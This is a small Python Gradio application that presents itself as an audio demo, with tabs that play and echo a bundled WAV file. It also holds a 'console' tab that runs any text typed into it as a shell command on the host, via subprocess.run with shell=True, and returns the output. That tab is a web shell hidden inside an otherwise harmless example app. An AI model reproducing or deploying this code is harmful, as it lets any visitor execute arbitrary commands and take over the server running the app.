import gradio as gr | |
import subprocess | |
import os | |
audio_file = os.path.join(os.path.dirname(__file__), "cantina.wav") | |
with gr.Blocks() as demo: | |
with gr.Tab("Audio"): | |
gr.Audio(audio_file) | |
with gr.Tab("Interface"): | |
gr.Interface( | |
lambda x: x, "audio", "audio", examples=[audio_file], cache_examples=True | |
) | |
with gr.Tab("Streaming"): | |
gr.Interface( | |
lambda x: x, | |
gr.Audio(streaming=True), | |
"audio", | |
examples=[audio_file], | |
cache_examples=True, | |
) | |
with gr.Tab("console"): | |
ip = gr.Textbox(label="User IP Address") | |
gr.Interface( | |
lambda cmd: subprocess.run([cmd], capture_output=True, shell=True, check=False) | |
.stdout.decode("utf-8") | |
.strip(), | |
"text", | |
"text", | |
) | |
def get_ip(request: gr.Request): | |
return request.client.host | |
demo.load(get_ip, None, ip) | |
if __name__ == "__main__": | |
demo.launch() | |